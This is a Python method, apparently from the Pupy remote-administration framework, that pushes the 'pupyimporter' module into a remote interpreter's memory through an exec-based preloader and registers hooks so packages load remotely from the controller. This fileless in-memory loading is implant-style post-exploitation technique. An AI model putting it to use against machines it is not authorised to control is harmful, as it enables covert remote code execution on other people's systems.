'load pupyimporter in case it is not'

def load_pupyimporter(self):

    if ('pupyimporter' not in self.conn.modules.sys.modules):
        pupyimporter_code = ''
        with open(os.path.join(ROOT, 'packages', 'all', 'pupyimporter.py'), 'rb') as f:
            pupyimporter_code = f.read()
        self.conn.execute(textwrap.dedent('\n                                                import    imp\n                                                import    sys\n                                                def    pupyimporter_preimporter(code):\n                                                                mod    =    imp.new_module("pupyimporter")\n                                                                mod.__name__="pupyimporter"\n                                                                mod.__file__="<memimport>\\\\pupyimporter"\n                                                                mod.__package__="pupyimporter"\n                                                                sys.modules["pupyimporter"]=mod\n                                                                exec    code+"\\n"    in    mod.__dict__\n                                                                mod.install()\n                                                                '))
        self.conn.namespace['pupyimporter_preimporter'](pupyimporter_code)
    pupyimporter = self.conn.modules.pupyimporter
    try:
        self.conn._conn.root.register_cleanup(pupyimporter.unregister_package_request_hook)
        pupyimporter.register_package_request_hook(self.remote_load_package)
    except:
        pass
    try:
        self.conn._conn.root.register_cleanup(pupyimporter.unregister_package_error_hook)
        pupyimporter.register_package_error_hook(self.remote_print_error)
    except:
        pass
